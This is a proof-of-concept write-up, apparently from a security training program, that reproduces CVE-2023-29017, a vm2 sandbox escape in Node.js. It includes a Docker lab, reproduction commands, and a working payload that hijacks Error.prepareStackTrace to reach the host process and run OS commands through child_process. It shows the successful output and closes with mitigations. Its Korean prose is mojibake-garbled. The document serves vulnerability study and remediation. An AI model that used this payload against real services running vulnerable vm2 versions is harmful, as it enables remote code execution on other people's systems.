Share
## https://sploitus.com/exploit?id=D910CF67-6452-5314-B071-29CF3693F122
# CVE-2023-29017 | vm2 Sandbox Escape๋ฅผ ํตํ ์๊ฒฉ ์ฝ๋ ์คํ
> [WHS 4๊ธฐ 31๋ฐ] - ๊น๊ฑด์ฐ(@gunwoo105)
## ์ทจ์ฝ์ ์์ฝ
vm2๋ ์ ๋ขฐํ ์ ์๋ JavaScript๋ฅผ ์ ํ๋ ํ๊ฒฝ์์ ์คํํ๊ธฐ ์ํ Node.js ์๋๋ฐ์ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ์
๋๋ค. ์ ์์ ์ธ ๊ฒฝ์ฐ ์๋๋ฐ์ค ๋ด๋ถ์ ์ฝ๋๋ Node.js์ `process, require, child_process` ๋ฐ ํธ์คํธ ํ์ผ์์คํ
๊ณผ ๊ฐ์ ๋ฏผ๊ฐํ ๊ธฐ๋ฅ์ ์ ๊ทผํ ์ ์์ด์ผ ํฉ๋๋ค.
๊ทธ๋ฌ๋ vm2 3.9.14 ์ดํ์์๋ ์ฒ๋ฆฌ๋์ง ์์ ๋น๋๊ธฐ ์ค๋ฅ๊ฐ ๋ฐ์ํ ๋ Error.prepareStackTrace๋ก ์ ๋ฌ๋๋ ํธ์คํธ ๊ฐ์ฒด๋ฅผ ์์ ํ๊ฒ ์ฒ๋ฆฌํ์ง ๋ชปํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ์ด ๊ฐ์ฒด์ ์์ฑ์ ์ฒด์ธ์ ์
์ฉํ์ฌ ํธ์คํธ ์ปจํ
์คํธ์ Function ์์ฑ์์ `process` ๊ฐ์ฒด๋ฅผ ํ๋ํ๊ณ , ์ต์ข
์ ์ผ๋ก `child_process`๋ฅผ ํตํด ์ด์์ฒด์ ๋ช
๋ น์ ์คํํ ์ ์์ต๋๋ค.
## ํ๊ฒฝ ๊ตฌ์ฑ
### ๊ตฌ์ฑ ์์
| ๊ตฌ์ฑ ์์ | ๋ฒ์ ๋ฐ ์ค์ |
| --- | --- |
| Node.js | `18.15.0` |
| vm2 | `3.9.14` |
| ํจ์น ๋ฒ์ | `3.9.15` |
| ์คํ ํ๊ฒฝ | Docker Compose |
| ์ปจํ
์ด๋ ์ฌ์ฉ์ | `node` |
| ์๋น์ค ํฌํธ | `127.0.0.1:3000` |
| ํจํค์ง ์ค์น | `npm ci` + `package-lock.json` |
์ทจ์ฝํ ์์ ํ ์ด๋ฏธ์ง๋ฅผ ์ฌ์ฉํ์ง ์๊ณ , ๊ณต์ Node.js ๋ฒ ์ด์ค ์ด๋ฏธ์ง์ ์ ์ฅ์์ ํฌํจ๋ ์์ค ์ฝ๋๋ก ์ด๋ฏธ์ง๋ฅผ ์ง์ ๋น๋ํฉ๋๋ค. Dockerfile์์๋ Node.js์ vm2 ๋ฒ์ ์ ๊ฒ์ฌํ๋ฉฐ, ๋ฒ์ ์ด ์์๊ณผ ๋ค๋ฅด๋ฉด ๋น๋๊ฐ ์คํจํฉ๋๋ค.
```docker
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
```
| ํ์ผ | ์ญํ |
| --- | --- |
| `docker-compose.yml` | ์ทจ์ฝ ์๋น์ค์ PoC ์ปจํ
์ด๋ ๊ตฌ์ฑ ๋ฐ ์คํ ์์ ์ ์ |
| `Dockerfile` | ์ทจ์ฝ ์๋น์ค์ PoC ์ด๋ฏธ์ง๋ฅผ multi-stage ๋ฐฉ์์ผ๋ก ๋น๋ |
| `vulnerable/src/server.js` | `/health`, `/execute`, `/evidence` ์๋ํฌ์ธํธ ์ ๊ณต |
| `vulnerable/src/worker.js` | ์ฌ์ฉ์ ์
๋ ฅ์ ๋ณ๋ ํ๋ก์ธ์ค์ vm2์์ ์คํ |
| `poc/poc.js` | ๋ฒ์ ํ์ธ, ์ ์ ๋์กฐ๊ตฐ, ๊ณต๊ฒฉ ๋ฐ ์ฆ๊ฑฐ ํ์ธ ์๋ํ |
| `vulnerable/package-lock.json` | ์ ์ด ์์กด์ฑ์ ํฌํจํ ํจํค์ง ๋ฒ์ ๊ณ ์ |
`worker.js`๋ฅผ ๋ณ๋ ํ๋ก์ธ์ค๋ก ์คํํ๋ ์ด์ ๋ PoC๊ฐ ์ฒ๋ฆฌ๋์ง ์์ ๋น๋๊ธฐ ์ค๋ฅ๋ฅผ ๋ฐ์์ํค๊ธฐ ๋๋ฌธ์
๋๋ค. ๊ณต๊ฒฉ ๊ณผ์ ์์ worker๊ฐ ์ข
๋ฃ๋๋๋ผ๋ ์น ์๋ฒ๋ ๊ณ์ ์คํ๋๋ฉฐ, marker ํ์ผ๋ก ์ฑ๊ณต ์ฌ๋ถ๋ฅผ ์์ ์ ์ผ๋ก ๊ฒ์ฆํ ์ ์์ต๋๋ค.
## ์ทจ์ฝ ์กฐ๊ฑด
๋ค์ ์กฐ๊ฑด์ด ๋ชจ๋ ์ถฉ์กฑ๋์ด์ผ ํฉ๋๋ค.
1. ์ ํ๋ฆฌ์ผ์ด์
์ด `vm2 3.9.14` ์ดํ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
2. ๊ณต๊ฒฉ์๊ฐ ์คํํ JavaScript ์
๋ ฅ์ ์ ์ดํ ์ ์์ต๋๋ค.
3. ํด๋น JavaScript๊ฐ vm2 ๋ด๋ถ์์ ์คํ๋ฉ๋๋ค.
4. ๋น๋๊ธฐ JavaScript ์คํ์ด ํ์ฉ๋ฉ๋๋ค.
5. ์ฒ๋ฆฌ๋์ง ์์ ๋น๋๊ธฐ ์ค๋ฅ๊ฐ ์ทจ์ฝํ stack trace ์ฒ๋ฆฌ ๊ฒฝ๋ก์ ๋๋ฌํฉ๋๋ค.
6. vm2๋ฅผ ์คํํ๋ Node.js ํ๋ก์ธ์ค์ ์ด์์ฒด์ ๋ช
๋ น ์คํ ๋๋ ํ์ผ ์ ๊ทผ ๊ถํ์ด ์์ต๋๋ค.
vm2๋ฅผ ์ค์นํ ๋ชจ๋ ์๋น์ค๊ฐ ์๋์ผ๋ก ์๊ฒฉ ๊ณต๊ฒฉ์ ๋
ธ์ถ๋๋ ๊ฒ์ ์๋๋๋ค. ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ ์ฝ๋๋ฅผ vm2์์ ์คํํ๋ ๊ธฐ๋ฅ์ด ์กด์ฌํด์ผ ํฉ๋๋ค. ์ด ์ค์ต์ `/execute` ์๋ํฌ์ธํธ๋ ํด๋น ์ฌ์ฉ ์ฌ๋ก๋ฅผ ์ต์ํ์ผ๋ก ๊ตฌํํ ๊ฒ์
๋๋ค.
๊ณต๊ฒฉ ํ๋ฆ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
```
์
์ฑ JavaScript ์ ๋ฌ
โ
โผ
์ฒ๋ฆฌ๋์ง ์์ ๋น๋๊ธฐ ์ค๋ฅ ๋ฐ์
โ
โผ
Error.prepareStackTrace ํธ์ถ
โ
โผ
ํธ์คํธ frames ๊ฐ์ฒด ๋
ธ์ถ
โ
โผ
ํธ์คํธ Function ์์ฑ์ ํ๋
โ
โผ
process โ require โ child_process
โ
โผ
์ปจํ
์ด๋ ๋ด๋ถ OS ๋ช
๋ น ์คํ
```
## ์ฌํ ์ ์ฐจ
### ์ด๋ฏธ์ง ๋น๋
```bash
docker compose build --no-cache
```

### ์ทจ์ฝ ์๋น์ค ์คํ
```bash
docker compose up -d vulnerable
```
์ปจํ
์ด๋ ์ํ๋ฅผ ํ์ธํฉ๋๋ค.
```bash
docker compose ps
```
### ์๋น์ค ์ํ ๋ฐ ๋ฒ์ ํ์ธ
```bash
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
```

### PoC ์คํ
```bash
docker compose run --rm poc
echo "exit_code=$?"
```
PoC๋ ๋ค์ ํญ๋ชฉ์ ์๋์ผ๋ก ๊ฒ์ฆํฉ๋๋ค.
1. ์ทจ์ฝ ์๋น์ค์ healthcheck
2. Node.js์ vm2 ๋ฒ์
3. ์ ์ JavaScript 21 * 2 ์คํ
4. ์ ์ ์ฝ๋์์๋ marker ํ์ผ์ด ์์ฑ๋์ง ์๋์ง ํ์ธ
5. CVE-2023-29017 payload ์ ๋ฌ
6. `/tmp/vm2-pwned` ์์ฑ ์ฌ๋ถ ํ์ธ
7. ํ์ผ ๋ด์ฉ์ `uid=`๊ฐ ํฌํจ๋๋์ง ํ์ธ
8. ์ฑ๊ณต ์ ์ข
๋ฃ ์ฝ๋ 0, ์คํจ ์ ์ข
๋ฃ ์ฝ๋ 1 ๋ฐํ
๋น๋๋ถํฐ PoC๊น์ง ํ ๋ฒ์ ์คํํ๋ ค๋ฉด ๋ค์ ๋ช
๋ น์ ์ฌ์ฉํฉ๋๋ค.
```bash
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
```
### ์ฆ๊ฑฐ ํ์ผ ํ์ธ
```bash
docker compose exec vulnerable sh -c '
echo "[Marker file]"
ls -l /tmp/vm2-pwned
echo
echo "[Command output]"
cat /tmp/vm2-pwned
'
```
### ํ๊ฒฝ ์ข
๋ฃ
```bash
docker compose down -v --rmi local --remove-orphans
```
## 5. PoC ์ฝ๋
์ ์ฒด PoC๋ `poc/poc.js`์ ํฌํจ๋์ด ์์ต๋๋ค. ํต์ฌ payload๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
```jsx
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
```
### ์ฝ๋ ๋์
#### `Error.prepareStackTrace` ์ฌ์ ์
```jsx
Error.prepareStackTrace = (error, frames) => {
```
์ค๋ฅ stack trace๊ฐ ์์ฑ๋ ๋ ์คํ๋๋ ํจ์๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์ฌ์ ์ํฉ๋๋ค.
#### ํธ์คํธ `Function` ์์ฑ์ ํ๋
```jsx
frames.constructor.constructor
```
์ทจ์ฝํ vm2๊ฐ ๋
ธ์ถํ ํธ์คํธ `frames` ๊ฐ์ฒด์ ์์ฑ์ ์ฒด์ธ์ ๋ฐ๋ผ๊ฐ ํธ์คํธ ์ปจํ
์คํธ์ `Function` ์์ฑ์์ ์ ๊ทผํฉ๋๋ค.
#### ํธ์คํธ `process` ๊ฐ์ฒด ํ๋
```jsx
frames.constructor.constructor('return process')();
```
ํธ์คํธ ์ปจํ
์คํธ์์ `process`๋ฅผ ๋ฐํํ๋ ํจ์๋ฅผ ์์ฑํ๊ณ ์คํํฉ๋๋ค.
#### ์ด์์ฒด์ ๋ช
๋ น ์คํ
```jsx
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
```
์๋๋ฐ์ค ๋ด๋ถ์๋ ์ ๊ณต๋์ง ์์ `child_process`๋ฅผ ๋ถ๋ฌ์ Linux `id` ๋ช
๋ น์ ์คํํฉ๋๋ค.
#### ์ฒ๋ฆฌ๋์ง ์์ ๋น๋๊ธฐ ์ค๋ฅ ์ ๋
```jsx
(async () => {}).constructor('return process')();
```
์๋๋ฐ์ค์์ ์ฌ์ฉํ ์ ์๋ `process`๋ฅผ ๋น๋๊ธฐ ํจ์๊ฐ ์ฐธ์กฐํ๋๋ก ํ์ฌ rejected Promise๋ฅผ ๋ง๋ค๊ณ , ์ทจ์ฝํ stack trace ์ฒ๋ฆฌ ๊ฒฝ๋ก์ ๋๋ฌ์ํต๋๋ค.
## ์คํ ๊ฒฐ๊ณผ
### ์ ์ ๋์กฐ๊ตฐ
์ ์ JavaScript๋ vm2 ๋ด๋ถ์์ ์คํ๋์ด 42๋ฅผ ๋ฐํํ์ง๋ง, ์ด์์ฒด์ ๋ช
๋ น ์คํ ์ฆ๊ฑฐ๋ ์์ฑํ์ง ์์ต๋๋ค.
```
[2/4] Running benign JavaScript inside vm2
Normal JavaScript returned 42 without host command execution
```
### ์ทจ์ฝ์ ์
์ฉ
์
์ฑ payload๋ฅผ ์ ๋ฌํ๋ฉด vm2 ์๋๋ฐ์ค๋ฅผ ํ์ถํ๊ณ , ์ทจ์ฝํ Node.js ํ๋ก์ธ์ค ๊ถํ์ผ๋ก ์ปจํ
์ด๋ ๋ด๋ถ์์ `id` ๋ช
๋ น์ด ์คํ๋ฉ๋๋ค.
```
[3/4] Sending CVE-2023-29017 payload
Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
```
PoC๋ ์ ์ฅ๋ ์ฆ๊ฑฐ๋ฅผ ๋ค์ ํ์ธํ ๋ค ์ฑ๊ณต ์ํ๋ฅผ ๋ฐํํฉ๋๋ค.
```
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0
```

์ฆ๊ฑฐ ํ์ผ์ ์ง์ ํ์ธํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๊ฐ ์ถ๋ ฅ๋ฉ๋๋ค.

marker ํ์ผ์ ๊ฐ ์คํ ์ ์ ์ญ์ ๋๋ฉฐ, ์ ์ ์ฝ๋ ์คํ ๋จ๊ณ์์๋ ์์ฑ๋์ง ์์ต๋๋ค. ๋ฐ๋ผ์ ์ด์ ์คํ ๊ฒฐ๊ณผ๊ฐ ๋จ์ ๋ฐ์ํ๋ ์คํ์ ๋ฐฉ์งํฉ๋๋ค.
## ๋์ ๋ฐฉ์
### vm2 ์
๋ฐ์ดํธ
์ํฅ์ ๋ฐ์ง ์๋ ๋ฒ์ ์ผ๋ก ์
๋ฐ์ดํธํฉ๋๋ค.
```json
{
"dependencies": {
"vm2": "3.9.15"
}
}
```
๊ทธ ํ lockfile์ ๊ฐฑ์ ํ๊ณ ๊ณ ์ ๋ ์์กด์ฑ์ผ๋ก ์ค์นํฉ๋๋ค.
```bash
npm install --package-lock-only
npm ci
```
๊ณต์ Advisory๋ ๋ณ๋์ workaround๊ฐ ์๋ค๊ณ ์ค๋ช
ํ๋ฏ๋ก, ์ทจ์ฝ ๋ฒ์ ์ ๊ณ์ ์ฌ์ฉํ๋ ๊ฒ์ ๊ถ์ฅ๋์ง ์์ต๋๋ค.
### ์ ๋ขฐํ ์ ์๋ ์ฝ๋์ ์คํ ํ๊ฒฝ ๋ถ๋ฆฌ
์ ๋ขฐํ ์ ์๋ ์ฝ๋๋ฅผ ์ ํ๋ฆฌ์ผ์ด์
๊ณผ ๋์ผํ Node.js ํ๋ก์ธ์ค์์ ์คํํ์ง ์์ต๋๋ค. ๋ณ๋์ ํ๋ก์ธ์ค, ์ปจํ
์ด๋ ๋๋ ๊ฐ์๋จธ์ ์ผ๋ก ๊ฒฉ๋ฆฌํ๊ณ ์คํ์ด ๋๋๋ฉด ํ๊ฒฝ์ ํ๊ธฐํฉ๋๋ค.
### ์ต์ ๊ถํ ์ ์ฉ
- root๊ฐ ์๋ ์ ์ฉ ์ฌ์ฉ์๋ก ์คํ
- `no-new-privileges` ์ ์ฉ
- ๋ถํ์ํ Linux capability ์ ๊ฑฐ
- Docker socket๊ณผ ํธ์คํธ ๋๋ ํฐ๋ฆฌ ๋ง์ดํธ ๊ธ์ง
- ํ์ผ์์คํ
์ฝ๊ธฐ ์ ์ฉ ์ค์ ๊ฒํ
- ์ปจํ
์ด๋ ๋ด๋ถ์ ์ฅ๊ธฐ ์๊ฒฉ ์ฆ๋ช
์ ์ฅ ๊ธ์ง
### ๋คํธ์ํฌ ๋ฐ ์์ ์ ํ
- ์คํ ์ปจํ
์ด๋์ ์ธ๋ถ ๋คํธ์ํฌ ์ ๊ทผ ์ ํ
- ๋ด๋ถ ๊ด๋ฆฌ๋ง ๋ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ ๊ทผ ์ต์ํ
- CPU, ๋ฉ๋ชจ๋ฆฌ, ํ๋ก์ธ์ค ์์ ์คํ ์๊ฐ ์ ํ
- ์
๋ ฅ ํฌ๊ธฐ์ ์์ฒญ ๋น๋ ์ ํ
- ๋น์ ์ ์ข
๋ฃ์ ๋ฐ๋ณต์ ์ธ ์
์ฑ ์
๋ ฅ ๋ชจ๋ํฐ๋ง
### ์ธ์ฆ ๋ฐ ์
๋ ฅ ํต์
์ฝ๋ ์คํ ๊ธฐ๋ฅ์๋ ๊ฐํ ์ธ์ฆ๊ณผ ์ธ๊ฐ๋ฅผ ์ ์ฉํ๊ณ , ๋ถํน์ ์ฌ์ฉ์์๊ฒ ๊ณต๊ฐ๋ ์์ ์ฝ๋ ์คํ API๋ฅผ ์ด์ํ์ง ์์ต๋๋ค. ๋ค๋ง ์ธ์ฆ์ ๊ณต๊ฒฉ ํ๋ฉด์ ์ค์ด๋ ๋ณด์กฐ ์กฐ์น์ด๋ฉฐ, ์ทจ์ฝ์ ์์ฒด๋ฅผ ์์ ํ๋ ๋์ฒด ์๋จ์ ์๋๋๋ค.